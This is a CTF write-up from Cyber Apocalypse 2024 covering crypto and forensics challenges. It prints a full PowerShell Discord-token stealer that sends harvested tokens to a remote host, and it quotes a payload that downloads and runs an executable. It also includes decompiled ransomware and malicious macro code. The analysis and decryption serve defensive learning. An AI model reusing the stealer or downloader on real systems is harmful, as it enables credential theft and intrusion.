Cyber Apocalypse 2024

crypto

Primary Knowledge

Solved by: Legend

Challenge description :

Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

We are given the source code which is of RSA algorithm and along with that we are given the output file with the value of n, c, and e.

To solve this I used http://www.factordb.com/ to get the value of p and q and wrote the script.

    #! /usr/bin/python3
    
    import gmpy2
    import binascii
    
    n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
    e = 65537
    c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
    p = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
    q = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
    
    phi = (p-1)*(q-1)
    d = gmpy2.invert(e,phi)
    m = gmpy2.powmod(c,d,n)
    
    flag = (binascii.unhexlify(hex(m)[2:])).decode()
    
    print(f"Flag: {flag}")
Flag: HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}

Makeshift

Solved by: Legend

Challenge description:

Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of the undergrowth and into your thigh. As you grab a hold and pull it out, you realise it’s a long stick; not the finest of weapons, but once sharpened could be the difference between dying of hunger and dying with honour in combat.

For this challenge we are given the code in which the flag is just getting shifted. So I just reversed the script with trail and error I got the flag.

    #! /usr/bin/python3
    
    new_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
    
    flag = ''
    
    for i in range(0, len(new_flag), 3):
        flag += new_flag[i+2]
        flag += new_flag[i]
        flag += new_flag[i+1]
    
    flag = flag[::-1]
    
    print(flag)
HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}

Dynastic

Solved by : Starry-lord

This challenge comes with an output.txt and a python source as you can see below:

    from secret import FLAG
    from random import randint
    
    def to_identity_map(a):
        return ord(a) - 0x41
    
    def from_identity_map(a):
        return chr(a % 26 + 0x41)
    
    def encrypt(m):
        c = ''
        for i in range(len(m)):
            ch = m[i]
            if not ch.isalpha():
                ech = ch
            else:
                chi = to_identity_map(ch)
                ech = from_identity_map(chi + i)
            c += ech
        return c
    
    with open('output.txt', 'w') as f:
        f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
        f.write(encrypt(FLAG))

We needed to write a decryption mechanism for this, taking the output file as input. Here’s my solution:

HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}

forensics

It Has Begun

Solved by : Starry-Lord

We only get a script.sh for this challenge

script.sh content

Running this file will actually kill your current user session authentication. Upon closer examination of what it does we can see that the host name for the ssh key looks awfully suspicious, and that a base64 string is being executed in bash at the end.

Reverse 1 and decode 2 for the flag:

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

Urgent

Solved by : Starry-Lord

read mail

This time it comes as an email file, along with an attachment called onlineform.js which is almost fully urlencoded:

onlineform.html b64 encoded

VBSript hidden into an online html form

HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}

An Unusual sighting

Solved by : Starry-Lord

This challenge came with 2 interesting files which allowed to answer the questions asked at the docker url.

Unusual hour for a login

We can see a connection at around 4:00 AM which is not the usual legitimate users’ working hours.

flag

HTB{B3sT_0f_luck_1n_th3_Fr4y!!}

Phreaky

Solved by : thewhiteh4t, Starry-Lord

The manual way: This challenge comes with a packet capture file (.pcap) so wireshark it is.

attachment in multiple parts

From this we can see that this b64 can be unziped with the passwords coming with each stream. We then need retrieve all 15 of them and use the corresponding unzip password.

We can copy all 15 parts and then merge them together to get the final pdf, with

cat file > phreaks_plan.pdf
cat file 2 >> phreaks_plan.pdf

retrieve all parts

Automated solution using a python script :

  • automatically find and extract zip files and passwords
  • concatenate PDFs into one
  • read PDF and get the flag
    from scapy.all import *
    from zipfile import ZipFile
    from base64 import b64decode
    from pypdf import PdfReader
    
    tcp_streams = {}
    flag_pdf = 'flag.pdf'
    flag_pdf_bytes = bytes()
    
    pkts = rdpcap('./phreaky.pcap')
    for pkt in pkts:
        if not pkt.haslayer(TCP):
            continue
        if not hasattr(pkt[TCP], 'load'):
            continue
        src_ip = pkt[IP].src
        src_port = pkt[TCP].sport
        dst_ip = pkt[IP].dst
        dst_port = pkt[TCP].dport
        tcp_tuple = (src_ip, src_port, dst_ip, dst_port)
    
        if tcp_tuple in tcp_streams:
            tcp_streams[tcp_tuple] += pkt[TCP].load
        else:
            tcp_streams[tcp_tuple] = pkt[TCP].load
    
    for stream_key, stream_data in tcp_streams.items():
        if b'Secure File Transfer' not in stream_data:
            continue
        data = stream_data.decode('utf-8', errors='ignore')
    
        if 'Content-Type: multipart/mixed;' not in data:
            continue
    
        parts = data.split('Content-Type:')[1:]
    
        for part in parts:
            if 'Password' in part:
                password = part.split('Password:')[1].split('\r\n\r\n')[0].strip()
            if 'Content-Disposition: attachment;' in part:
                filename = part.split('filename*1="')[1].split('.zip"')[0] + '.zip'
                attachment = part.split('\r\n\r\n')[1].replace('\r\n', '').strip()
                print(f'Found : {filename} -> Password : {password}')
                with open(filename, 'wb') as outfile:
                    outfile.write(b64decode(attachment))
                with ZipFile(filename) as zf:
                    zip_out = zf.infolist()[0].filename
                    pswd = password.encode()
                    zf.extractall(pwd=pswd)
                    print(f'Extracted : {zip_out}')
    
                with open(zip_out, 'rb') as pdf_part:
                    flag_pdf_bytes += pdf_part.read()
    
    with open(flag_pdf, 'wb') as flag_out:
        flag_out.write(flag_pdf_bytes)
        print(f'\nFinal PDF Saved : {flag_pdf}')
    
    reader = PdfReader(flag_pdf)
    num_pages = len(reader.pages)
    pdf_text = ''
    for num in range(num_pages):
        curr_page = reader.pages[num]
        pdf_text += curr_page.extract_text()
    
    for line in pdf_text.split('\n'):
        if 'HTB{' in line:
            flag = 'HTB' + line.split('HTB')[1].split('}')[0] + '}'
            print(flag)

HTB{Th3Phr3aksReadyT0Att4ck}

Fake Boost

Solved by : Starry-lord

For this one again we get a pcap file, which contains HTTP objects we can look into:

HTTP Objects

Extracting freediscordnitro, we can see the content is obfuscated like we expect a malware would be.

freediscordnitro

working on the content of the file, we can now reverse this long string above, and then decode it to read the first part of the flag

    $URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
    
    function Steal {
        param (
            [string]$path
        )
    
        $tokens = @()
    
        try {
            Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
                
                try {
                    $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop
    
                    foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                        $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                            $_.Matches.Value
                        }
                    }
                } catch {}
            }
        } catch {}
    
        return $tokens
    }
    
    function GenerateDiscordNitroCodes {
        param (
            [int]$numberOfCodes = 10,
            [int]$codeLength = 16
        )
    
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
        $codes = @()
    
        for ($i = 0; $i -lt $numberOfCodes; $i++) {
            $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
            $codes += $code
        }
    
        return $codes
    }
    
    function Get-DiscordUserInfo {
        [CmdletBinding()]
        Param (
            [Parameter(Mandatory = $true)]
            [string]$Token
        )
    
        process {
            try {
                $Headers = @{
                    "Authorization" = $Token
                    "Content-Type" = "application/json"
                    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
                }
    
                $Uri = "https://discord.com/api/v9/users/@me"
    
                $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
                return $Response
            }
            catch {}
        }
    }
    
    function Create-AesManagedObject($key, $IV, $mode) {
        $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    
        if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
        elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
        elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
        elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
        elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}
    
    
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
        if ($IV) {
            if ($IV.getType().Name -eq "String") {
                $aesManaged.IV = [System.Convert]::FromBase64String($IV)
            }
            else {
                $aesManaged.IV = $IV
            }
        }
        if ($key) {
            if ($key.getType().Name -eq "String") {
                $aesManaged.Key = [System.Convert]::FromBase64String($key)
            }
            else {
                $aesManaged.Key = $key
            }
        }
        $aesManaged
    }
    
    function Encrypt-String($key, $plaintext) {
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
        $aesManaged = Create-AesManagedObject $key
        $encryptor = $aesManaged.CreateEncryptor()
        $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
        [byte[]] $fullData = $aesManaged.IV + $encryptedData
        [System.Convert]::ToBase64String($fullData)
    }
    
    Write-Host "
    ______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
    |  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
    | |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
    |  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
    | | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
    \_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/
                                                                                                             
                                                                                                             "
    Write-Host "Generating Discord nitro keys! Please be patient..."
    
    $local = $env:LOCALAPPDATA
    $roaming = $env:APPDATA
    $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
    
    $paths = @{
        'Google Chrome' = "$local\Google\Chrome\User Data\Default"
        'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
        'Opera' = "$roaming\Opera Software\Opera Stable"
        'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
    }
    
    $headers = @{
        'Content-Type' = 'application/json'
        'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
    }
    
    $allTokens = @()
    foreach ($platform in $paths.Keys) {
        $currentPath = $paths[$platform]
    
        if (-not (Test-Path $currentPath -PathType Container)) {continue}
    
        $tokens = Steal -path $currentPath
        $allTokens += $tokens
    }
    
    $userInfos = @()
    foreach ($token in $allTokens) {
        $userInfo = Get-DiscordUserInfo -Token $token
        if ($userInfo) {
            $userDetails = [PSCustomObject]@{
                ID = $userInfo.id
                Email = $userInfo.email
                GlobalName = $userInfo.global_name
                Token = $token
            }
            $userInfos += $userDetails
        }
    }
    
    $AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
    $payload = $userInfos | ConvertTo-Json -Depth 10
    $encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
    
    try {
        $headers = @{
            'Content-Type' = 'text/plain'
            'User-Agent' = 'Mozilla/5.0'
        }
        Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
    }
    catch {}
    
    Write-Host "Success! Discord Nitro Keys:"
    $keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
    $keys | ForEach-Object { Write-Output $_ }

We can see this is using AES encryption on the files while making the user think its generating free discord nitro keys, as well as a part1 of the flag. It decrypted the content of the other file with using the same value for IV and for the AES key.

b64 part 2 of flag

HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Oblique Final

Attempted by : Starry-Lord, thewhiteh4t

This challenge occupied a good 3 days of our time and taught us a new attack vector so it gets its own writeup even if it got solved too late. Everything starts with a large 4GB hiberfil.sys file. This is a hibernation file that got extracted form a laptop after it got out of battery. We managed to extract the active memory from that which gave us 6GB of memory to look through. We used volatility 2 and 3 to achieve a better understanding of the machine, until we could find interesting files in the user’s home folder, and dig them for more.

Arsenal Recon offers a 30day trial for their tools and I decided to try it for the occasion. Very intuitively, I was guided through an ui that allowed to retrieve the Active memory as a bin file. With this 6GB file in the pocket it was time to finally work our volatility skills, allowing us to enumerate everything that was running while it went into hibernation.

    volatility 2:
    
    pslist
    filescan
    mftscan
    
    volatility 3:
    
    windows.filescan.FileScan
    windows.dumpfiles.DumpFiles

With these we managed to get the exact offset for each files, as well as a list of all the 4k+ files present on the machine to choose from. We extracted a lot of stuff before correlating the information that if it was not being used when it was running, it will not be in the memory. Basing ourselves on the pslist proved a little bit more useful, but in the end all we needed was TheGame.exe and TheGame.dll, which we had for quite some time.

From this point on the competition was over but we couldn’t just not finish it.

Using ghidra, we managed to determine the exe was calling the dll. Using ILSpy, we can actually switch between C# , IL and ReadyToRun, which will actually return different outputs. So much so that nothing else than the following code in the Main function can be seen, when switching to ReadyToRun. not only does it look pretty different from the IL part, the offsets don’t seem to match, which points towards the latter being different code. This is concerning and something we have never seen before, but apparently it’s possible to make bogus code that will definitely fail and instead run the ReadyToRun part of the code.

Ready To Run as an attack vector

Extracing everything in that function with a simple hex editor, using the visible offsets, we can manage to get some valid shellcode. We know the architecture of this machine and it’s x64, from previous enumeration, which allowed us to use speakeasy to run it.

We can see this hidden shellcode is checking for a specific hostname in the windows environement variables, and we can change that by supplying a configuration file (default.json) to our command, conveniently supplied by mandiant in the github repo.

Insane flag finally

HTB{IL_st0mp1ng_4nd_h1b3rn4t10n_f0r_th3_gr4nd_f1n4l!!}

Confinement

Solved by : Starry-Lord, thewhiteh4t

  • Challenge description tells us about the location of flag : Note: The valuable data is stored under \Documents\Work"
  • We are given an AD1 file which are logical images similar to a container. They only contain files, directories and the directory structure
  • AD1 files don’t contain any kind of memory dump or deleted files
  • What we see is all that we have in this case
  • AD1 files can be parsed using FTK Imager software on windows, optionally we can export all the files using 7zForensics plugin for 7z archive manager.
  • We used both at some point but one of them is enough for solving
  • The file can also be mounted as a drive for faster operation
  • Challenge tells us that files were encrypted by a ransomware and we need to find a way to decrypt them
  • From our past experience we know that Windows Event Logs will shed some light on this so we started looking into them
  • Most popular/common EVTX logs that everyone looks into :
    • Application.evtx
    • System.evtx
    • Security.evtx
    • Windows PowerShell.evtx
  • We looked in all four and we could only find some of the commands which the attacker used
  • The attacker disabled defender, launched recon tools and encryptor, all in the form of different exe files
  • Since attacker did not use powershell for encrypting the files there was no way to figure out the encryption, we knew we needed to somehow get the encryptor, but attacker had deleted all the malicious exe files
  • And we knew we can’t recover deleted files after trying to recover for some time :D
  • This is where we got an idea :
    • Attacker had admin privileges
    • Defender was disabled by them
    • Why disabl e defender ? Because you don’t have a FUD encryptor!
    • Which means at some point the encryptor got caught by defender
  • Now comes another useful EVTX log : Windows Defender Operational

  • This log contains as you guessed the logs of it detecting malicious stuff among other things
  • Inside we found what we were looking for :

  • Default action as we know is to quarantine the files
  • So that means that the encryptor is in the quarantine and we can extract it
  • Slight issue was that these files are encrypted too but we quickly found solutions for that such as :
https://blog.khairulazam.net/2023/12/12/extracting-quarantine-files-from-windows-defender/

https://github.com/zam89/Windows-Defender-Quarantine-File-Decryptor

  • And we successfully got the juicy files

  • We were able to decompile them over at : https://www.decompiler.com/

  • Encryptor/Prorgam.cs :

    private static void Main(string[] args)
            {
                    Utility utility = new Utility();
                    PasswordHasher passwordHasher = new PasswordHasher();
                    if (Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
                    {
                            UID = utility.GenerateUserID();
                            utility.Write("\nUserID = " + UID, ConsoleColor.Cyan);
                            Alert alert = new Alert(UID, email1, email2);
                            email = string.Concat(new string[4] { email1, " And ", email2, " (send both)" });
                            coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(UID, salt), alert.ValidateAlert(), alertName, email);
                            utility.Write("\nStart ...", ConsoleColor.Red);
                            Enc(Environment.CurrentDirectory);
                            Console.ReadKey();
                    }
            }
    
    static Program()
            {
                    email1 = "fraycrypter@korp.com";
                    email2 = "fraydecryptsp@korp.com";
                    alertName = "ULTIMATUM";
                    salt = "0f5264038205edfb1ac05fbb0e8c5e94";
                    softwareName = "Encrypter";
                    coreEncrypter = null;
                    UID = null;
            }
  • Encryptor.class/PasswordHasher.cs :
    internal class PasswordHasher
    {
            public string GetSalt()
            {
                    return Guid.NewGuid().ToString("N");
            }
    
            public string Hasher(string password)
            {
                    using SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
                    byte[] bytes = Encoding.UTF8.GetBytes(password);
                    return Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
            }
    
            public string GetHashCode(string password, string salt)
            {
                    string password2 = password + salt;
                    return Hasher(password2);
            }
    
            public bool CheckPassword(string password, string salt, string hashedpass)
            {
                    return GetHashCode(password, salt) == hashedpass;
            }
    }
  • Encryptor.class/CoreEncryptor.cs :
    public CoreEncrypter(string password, string alert, string alertName, string email)
            {
                    this.password = password;
                    this.alert = alert;
                    this.alertName = alertName;
                    this.email = email;
            }
    
    public void EncryptFile(string file)
            {
                    byte[] array = new byte[65535];
                    byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
                    RijndaelManaged rijndaelManaged = new RijndaelManaged();
                    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                    rijndaelManaged.Mode = CipherMode.CBC;
                    rijndaelManaged.Padding = PaddingMode.ISO10126;
                    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                    FileStream fileStream = null;
    .
    .
    .
  • First, it checks if hostname matches a specific string
  • Second, it generates a UID, which is what we see in the ransom note as Faction ID so we already have the UID for this specific ransom run
  • Third, it creates the alert which is the ransom note
  • Fourth it calls the encryptor and in function arguments it calls PasswordHasher and passes UID etc
    • GetHashCode concatenates password and salt then passes it to Hasher
    • Hasher flow :
      • Converts password to bytes
      • calculates SHA512 for the bytes
      • Base64 encodes the SHA512 hash
    • EncryptFile flow :
      • Uses the password i.e. result of Hasher and salt to derive bytes
      • Uses derived bytes to generate key and IV for AES encryption
      • Encrypts the bytes of the given file
  • So to decrypt we can do the following :
    • we know the UID from the ransom note
    • we know the salt from Program.cs
    • we can re-generate output of Hasher from these
    • then we can use it to decrypt the file
    import hashlib
    import base64
    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2
    

    def decrypt_file(file_path, password):
        salt = b'\x00\x01\x01\x00\x01\x01\x00\x00'
        key_iv_bytes = PBKDF2(password, salt, dkLen=48, count=4953)
        key = key_iv_bytes[:32]  # needs to be 32
        iv = key_iv_bytes[32:]   # needs to be 16
        print(key.hex())
        print(iv.hex())
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_file_path = file_path[:-5]  # Remove ".korp" extension
        with open(file_path, 'rb') as encrypted_file, open(decrypted_file_path, 'wb') as decrypted_file:
            decrypted_data = cipher.decrypt(encrypted_file.read())
            decrypted_file.write(decrypted_data)
    
        print(f"Decryption complete. Decrypted file: {decrypted_file_path}")
    
    
    def hasher(data):
        sha512 = hashlib.sha512()
        sha512.update(data.encode('utf-8'))
        return base64.b64encode(sha512.digest())
    
    
    def get_hash_code(password, salt):
        password_and_salt = password + salt
        return hasher(password_and_salt)
    
    
    password = '5K7X7E6X7V2D6F'
    salt = '0f5264038205edfb1ac05fbb0e8c5e94'
    
    hashed_password = get_hash_code(password, salt)
    
    
    file_to_decrypt = 'Applicants_info.xlsx.korp'
    password_to_use = hashed_password
    
    decrypt_file(file_to_decrypt, password_to_use)


Game Invitation

Solved by : thewhiteh4t

  • Challenge talks about receiving a malicious docm file in email
  • We managed to solve the challenge using windows and MS Office 2016
  • We inspected the macros in the document and here is a brief flow :
    • it checks for host domain and proceeds if it matches
      chkDomain = "GAMEMASTERS.local"
      strUserDomain = Environ$("UserDomain")
      If chkDomain <> strUserDomain Then
      
  • opens the current document as binary mode Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
    • uses regex to match a set pattern
        SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
        Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
        Dim vTxAnSEFH
        Set vTxAnSEFH = CreateObject("vbscript.regexp")
        vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
        Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
      
  • gets AppData dir path and writes mailform.js
      kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
      Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
      If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
      kWXlyKwVj = Environ("appdata")
      End If
      Set aMUsvgOin = Nothing
      Dim K764B5Ph46Vh
      K764B5Ph46Vh = FreeFile
      IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
    
  • uses wscript to run mailform.js
      Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
      R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
    

  • Finally it runs clean up and deletes mailform.js
  • First we can modify the domain check to bypass that condition
      chkDomain = "GAMEMASTERS.local"
      strUserDomain = Environ$("UserDomain") <-- original
      strUserDomain = "GAMEMASTERS.local"    <-- simply replace it with the domain
      If chkDomain <> strUserDomain Then
    
  • In the mailform.js file we can add one extra statement to print the output of the function just before it hits eval as highlighted below :

  • Now we can use csript which is a CMD alternative of wscript to read the output it will print :

  • In the noise we can see a cookie being sent with a base64 string
> echo "SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=" | base64 -d
> HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

Data Siege

Solved by : thewhiteh4t

We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.
  • We need to look for exfiltrated data
  • flag is split in three parts
  • We have a PCAP file
  • After analysis we can find an interesting frame :
    GET /nBISC4YJKs7j4I HTTP/1.1
    Cache-Control: no-cache
    Pragma: no-cache
    User-Agent: Java/11.0.19
    Host: 10.10.10.21:8080
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    
    HTTP/1.1 200 OK
    Content-Type: application/xml
    Connection: Keep-Alive
    Pragma: no-cache
    Server: Apache
    Content-Length: 651
    
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
        <list>
          <value>cmd.exe</value>
          <value>/c</value>
          <value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
        </list>
      </constructor-arg>
    </bean>
    </beans>
  • Command execution where its downloading an exe file and running it with PowerShell
  • Next thing we can extract the exe by exporting HTTP objects
  • It’s a .NET executable so it can be decompiled easily using https://www.decompiler.com/
  • EZRAClient/Program.cs
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
      {
          86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
          116, 95, 83
      });
        
      Very_S3cr3t_S
    
  • Converting ASCII values to text gives us an interesting string, this is the IV for AES
  • multiple TCP packets have data field which contain encrypted strings which can be extracted using tshark :
> tshark -T fields -e data -r capture.pcap > data.txt
  • Now let’s look at decryption process
  • EZRATclient.Utils/Constantes.cs contains the encryption key

private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";

  • Decrypt function is present in Program.cs :
    public static string Decrypt(string cipherText)
            {
                    try
                    {
                            string encryptKey = Constantes.EncryptKey;
                            byte[] array = Convert.FromBase64String(cipherText);
                            using (Aes aes = Aes.Create())
                            {
                                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
                                    {
                                            86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
                                            116, 95, 83
                                    });
                                    aes.Key = rfc2898DeriveBytes.GetBytes(32);
                                    aes.IV = rfc2898DeriveBytes.GetBytes(16);
                                    using MemoryStream memoryStream = new MemoryStream();
                                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                                    {
                                            cryptoStream.Write(array, 0, array.Length);
                                            cryptoStream.Close();
                                    }
                                    cipherText = Encoding.Default.GetString(memoryStream.ToArray());
                            }
                            return cipherText;
                    }
                    catch (Exception ex)
                    {
                            Console.WriteLine(ex.Message);
                            Console.WriteLine("Cipher Text: " + cipherText);
                            return "error";
                    }
            }
  • We have the IV and encryption key, python script for decryption :
    #!/usr/bin/env python3
    
    import binascii
    from base64 import b64decode
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    from Crypto.Protocol.KDF import PBKDF2
    
    with open('data.txt') as datafile:
            hex_lines = datafile.readlines()
    
    
    def derive_key_and_iv(password, salt):
            key_iv_bytes = PBKDF2(password, salt, dkLen=48)
            key = key_iv_bytes[:32]
            iv = key_iv_bytes[32:]
            return key, iv
    
    
    encryption_key = "VYAemVeO3zUDTL6N62kVA"
    salt = 'Very_S3cr3t_S'
    key, iv = derive_key_and_iv(encryption_key.encode(), salt)
    
    
    def decrypt(cipher_text, key, iv):
            cipher_text = b64decode(cipher_text)
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decoded_msg = unpad(cipher.decrypt(cipher_text), AES.block_size).decode()
            return decoded_msg
    
    
    for hex_line in hex_lines:
            if len(hex_line) > 3:
                    enc_cipher_text = binascii.unhexlify(hex_line.strip()).replace(b'24\xa7', b'').replace(b'88\xa7', b'').replace(b'44\xa7', b'').replace(b'64\xa7', b'').replace(b'620\xa7', b'')
                    # print('-->', binascii.unhexlify(hex_line.strip()))
                    try:
                            print(decrypt(enc_cipher_text, key, iv))
                    except Exception:
                            pass

  • We get first and second parts of the flag in the decrypted data :
    -> HTB{c0mmun1c4710n5
    -> _h45_b33n_r357
    
  • Third part was easier as its present in the PCAP
  • One of the frames is not encrypted and its a PowerShell command :

  • We can decode the payload to get the third part of the flag

-> HTB{c0mmun1c4710n5
-> _h45_b33n_r357
-> 0r3d_1n_7h3_h34dqu4r73r5}

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

Pursue the tracks

Solved by : thewhiteh4t

To get the flag, you need to answer the questions from the docker instance.
  • We get a .mft file in this challenge and we need to answer questions based on that
  • Tools used :
    analyzeMFT.py - https://github.com/dkovar/analyzeMFT
    MFTExplorer - https://www.sans.org/tools/mftexplorer/
    MFTECmd - https://github.com/EricZimmerman/MFTECmd
    
  • First we extracted the data in CSV format on linux :
    • analyzeMFT.py -f z.mft -o result.csv

  • with some grep-cut we can see a list of files :

  • Some pointers which are important for solving :
    • analyzeMFT.py shows limited information so for things like Q6 its easily visible in MFTExplorer
    • Modified after creation in Q7 is also visible in MFTExplorer
    • Accurate file size in Q9 is not shown by either analyzeMFT or MFTExplorer for that we had to use MFTECmd
  • Answers of all the questions :
Q1. Files are related to two years, which are those?
> 2023,2024

Q2. There are some documents, which is the name of the first file written?
> Final_Annual_Report.xlsx

Q3. Which file was deleted?
> Marketing_Plan.xlsx

Q4. How many of them have been set in Hidden mode?
> 1

Q5. Which is the filename of the important TXT file that was created?
> credentials.txt

Q6. A file was also copied, which is the new filename?
> Financial_Statement_draft.xlsx

Q7. Which file was modified after creation?
> Project_Proposal.pdf

Q8. What is the name of the file located at record number 45?
